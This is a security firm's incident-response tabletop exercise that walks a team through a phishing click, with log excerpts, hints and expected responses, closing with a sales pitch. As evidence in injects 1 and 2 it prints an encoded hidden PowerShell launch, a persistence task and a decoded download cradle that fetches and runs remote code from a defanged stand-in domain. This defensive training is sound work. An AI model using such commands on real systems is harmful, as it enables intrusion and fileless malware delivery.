← All articles Tabletop exercise · Incident response

Tabletop exercise: one click, what now?

An employee clicks a phishing link. What do you do in the next ten minutes? The best time to answer that question is before it happens. That is exactly what a tabletop exercise is for. Here is what it is, followed by a complete exercise to play with your team.

The video

The exercise summarized in just over three minutes.

Video in English · Watch on YouTube

What is a tabletop exercise

A tabletop exercise (TTX) is a guided discussion around a realistic attack scenario. No live system is touched and nobody is hacked for real: the team walks through the incident step by step and practices the decisions, not the tools.

The goal is to find the gaps in roles, procedures and communication while they cost nothing. Who has the authority to isolate a laptop at 4:40 PM on a Friday? Who can revoke a user’s sessions after hours? When must clients be notified? A 45-minute exercise answers these questions better than a procedure document nobody has reread.

The vocabulary

Six terms come up in every tabletop exercise:

FacilitatorRuns the scenario and drops the injects.
PlayersThe people who would respond for real: IT, security, management, legal, communications.
InjectA new event that moves the story forward, one at a time.
MSELMaster Scenario Events List: the ordered script of all injects.
HotwashThe quick debrief right after the exercise.
After-Action Report (AAR)The written findings and the improvement plan.

How to play

The exercise below works best with three or more people and one facilitator. On your own, it also works very well as a self-assessment.

  1. Read the situation and the evidence of the inject out loud.
  2. Start the timer and discuss the question for about 3 minutes. Write down your answer.
  3. Stuck? Click 💡 Hint.
  4. Click ✅ Expected actions and compare. Pay attention to the common pitfalls.

The interactive exercise

Five injects. For each one: read, discuss, then compare with the expected actions. Domains and IP addresses are fictional.

🗂️ Scenario setup

A professional services firm of 15 people. Windows 11 laptops with an endpoint detection and response (EDR) tool, Microsoft 365 with multifactor authentication (MFA), one office router with DNS logging. Client files contain personal information. It is Friday, 4:40 PM.

Inject #1

An employee reports having clicked a link in an email about a "shared invoice". At the same time, the EDR raises an alert on their laptop.

16:38:12 msedge.exe → mshta.exe hxxps://cdn-update-ms[.]com/inv.hta 16:38:14 mshta.exe → powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBi... 16:40:31 schtasks /create /tn "OneDriveUpdate" /sc onlogon ...

What is your first action, and in what order do you take the next three?

3:00
Think about evidence: what disappears if you pull the plug or shut the laptop down? And think about secrets: what did this laptop have access to?
  • 1. Contain: isolate the laptop through the EDR ("isolate device"). It cuts all traffic except the EDR channel, so you keep remote visibility. Do not power it off: memory holds the decrypted implant, active connections and sometimes keys. Plug it into a charger.
  • 2. Block: add the domain cdn-update-ms[.]com and its IP address to the DNS filter and the perimeter firewall.
  • 3. Identity, from a clean device: revoke all sessions and refresh tokens of the user (in Entra ID: "Revoke sessions"), then reset the password. Code ran, so every secret on that laptop is considered stolen: passwords saved in the browser, session cookies, VPN, cloud command-line tokens.
  • 4. Document: start the incident timeline now (16:38 click, 16:40 persistence, time of isolation) and notify the incident lead.
⚠ Common pitfalls
  • Unplugging or shutting down the laptop: you lose the memory and the EDR visibility.
  • Resetting the password only "if a sign-in looks suspicious": a stolen session cookie replayed from a local IP address looks perfectly normal.
  • Running an antivirus scan and calling it clean.

Inject #2

The analyst decodes the -enc argument (it is Base64 of UTF-16LE text). The antivirus scan of the disk came back clean.

IEX (New-Object Net.WebClient).DownloadString('hxxps://cdn-update-ms[.]com/a')

What does this command do? Why did the antivirus see nothing, and where is your visibility?

3:00
Read it right to left: DownloadString returns text. What does IEX (Invoke-Expression) do with text? Is anything written to disk?
  • Meaning: "download the script at this address and run it directly in memory". This is a download cradle, the typical start of a fileless attack.
  • Why the antivirus missed it: nothing was written to disk, so a file scan has nothing to analyze. A clean scan means "nothing known was found", not "nothing is there".
  • Where the visibility is: PowerShell Script Block Logging (event ID 4104, which records the decoded code), the Antimalware Scan Interface (AMSI), EDR telemetry, and DNS or proxy logs.
  • Next: pull the action of the scheduled task "OneDriveUpdate" from the EDR (which binary or command it runs and which address it contacts): these are new indicators of compromise (IOC) to block and hunt.
  • Note: hxxps and [.] are defanged notation, used in reports so that nobody clicks the address by mistake.
⚠ Common pitfall
  • Concluding from the clean scan that the payload "did not work". Without Script Block Logging enabled beforehand, you may never know what the downloaded script did: enable it now on every workstation.

Inject #3

A manager suggests: "Let's close all the open ports on the firewall, that will cut the hacker off." The firewall logs show the laptop made regular outbound HTTPS connections to the same IP address until it was isolated.

16:41:02 laptop-07 → 203.0.113.45:443 ALLOW out 16:42:05 laptop-07 → 203.0.113.45:443 ALLOW out 16:43:01 laptop-07 → 203.0.113.45:443 ALLOW out 16:44:12 laptop-07 → 203.0.113.45:443 ALLOW out (~60 s ± 20 %)

Will closing the open ports help? What do these logs show, and what do you do instead?

3:00
Look at the direction of the connections. Who starts them: the laptop or the attacker?
  • No: there is no inbound open port to close. The implant calls home on its own (beaconing), over outbound HTTPS on port 443, like normal browsing. A stateful firewall allows it, and the replies that come back are the attacker's commands.
  • The pattern: one connection about every 60 seconds with about 20 % random variation (jitter). That regularity is a command and control (C2) signature.
  • Instead: block the domain and the IP address (already done in inject 1), and search the logs for the same pattern from other devices. Longer term: DNS filtering, outbound (egress) filtering, and alerts on periodic connections to newly registered domains.
⚠ Common pitfall
  • Treating the firewall as a wall that only stops things coming in. Most modern attacks leave through the front door, encrypted, on port 443.

Inject #4

While hunting, the router's DNS logs show that the same malicious domain was resolved yesterday at 10:13 PM by another device on the network.

Yesterday 22:13:40 192.168.8.147 cdn-update-ms[.]com Today 16:38:11 192.168.8.112 cdn-update-ms[.]com (laptop-07)

How do you identify the device, and what does this change in your plan?

3:00
Look at the timeline. Which event came first? Did the laptop really get infected by the other device, or could both have received the same thing?
  • Identify: the DHCP lease table maps IP address, MAC address and hostname, with times. The first three bytes of the MAC address (the OUI) give the manufacturer. If the second character is 2, 6, A or E, it is a randomized MAC address: almost certainly a phone or a recent laptop. A hostname can change for innocent reasons, so it is not reliable on its own.
  • Do not jump to "that device infected the laptop": the laptop chain clearly started with the email click. Two devices contacting the same domain usually means the same phishing campaign hit two people. The device from yesterday is probably patient zero. Correlation is not causation: the timeline gives the direction.
  • What changes: isolate the second device now with the same logic; the incident start moves back to yesterday 10:13 PM; extend credential revocation to that user; search every mailbox for the original email, purge it and block the sender.
⚠ Common pitfall
  • Building a causal story from two log lines. Always place events on one timeline before deciding who infected whom.

Inject #5

Monday morning. Management asks: "Is it over? Can the two employees get their laptops back?" One of the laptops held client files with personal information.

When can you declare the incident closed, and what else must be done?

3:00
Separate "contained" from "eradicated". And think beyond IT: the clock, the law and the clients.
  • Contained ≠ closed. The incident is closed when all four conditions are met:
    1. both devices were reimaged from a known-good image (not "cleaned");
    2. every exposed credential was rotated and every session revoked;
    3. the root cause is fixed: for example, block mshta.exe with Microsoft Defender attack surface reduction (ASR) rules or App Control for Business, and enable Script Block Logging;
    4. no activity linked to the IOCs was seen during a monitoring period, for example 30 days.
  • Data: reimaging does not mean losing the files. Files synced to OneDrive are already elsewhere: check the version history after the date of the click. Restore data files only (documents, PDF, images), never executables, scripts or files with macros.
  • Firmware: for this commodity chain, a compromise of the UEFI firmware is very unlikely. Keep Secure Boot, the TPM and BitLocker enabled, and update the firmware during the reimage as a precaution.
  • Legal and clients: personal information was exposed, so this is potentially a privacy incident. In Quebec, Law 25 requires recording it in the incident register and, if there is a risk of serious injury, notifying the Commission d'accès à l'information and the people concerned. Client contracts often impose their own notice deadline (24 or 72 hours). Check with legal counsel.
  • Hotwash: what went well, what slowed us down, who owns each fix, and by when.
⚠ Common pitfall
  • Giving the laptops back after an antivirus scan, without rotating credentials. The attacker comes back through the front door with the stolen passwords.

The hotwash

Right after the exercise, take 10 minutes for these questions. The answers become your after-action report (AAR): a list of fixes, each with an owner and a date.

  • Who had the authority to isolate the laptop at 4:40 PM on a Friday? Did everyone know it?
  • Was PowerShell Script Block Logging enabled before the incident?
  • Could we revoke a user's sessions in under 10 minutes? Who has that access after hours?
  • Do we know our notification obligations (law and client contracts) and their deadlines?
  • Which three improvements will we make, who owns them, and by when?

Why do it

Incidents are stressful. Rehearsed incidents are manageable. The mistakes in this scenario (unplugging the machine, resetting the password only if something looks suspicious, trusting a “clean” antivirus scan, forgetting notification deadlines) are the ones we see most often in real incidents.

A tabletop exercise costs a few hours. It also prepares the team for the expectations of insurers, clients and Québec’s Law 25, which increasingly expect a tested incident response plan.

Want to run this exercise with your team?

We design and facilitate tabletop exercises adapted to your environment, your people and your obligations, followed by an after-action report with a prioritized improvement plan.

Contact us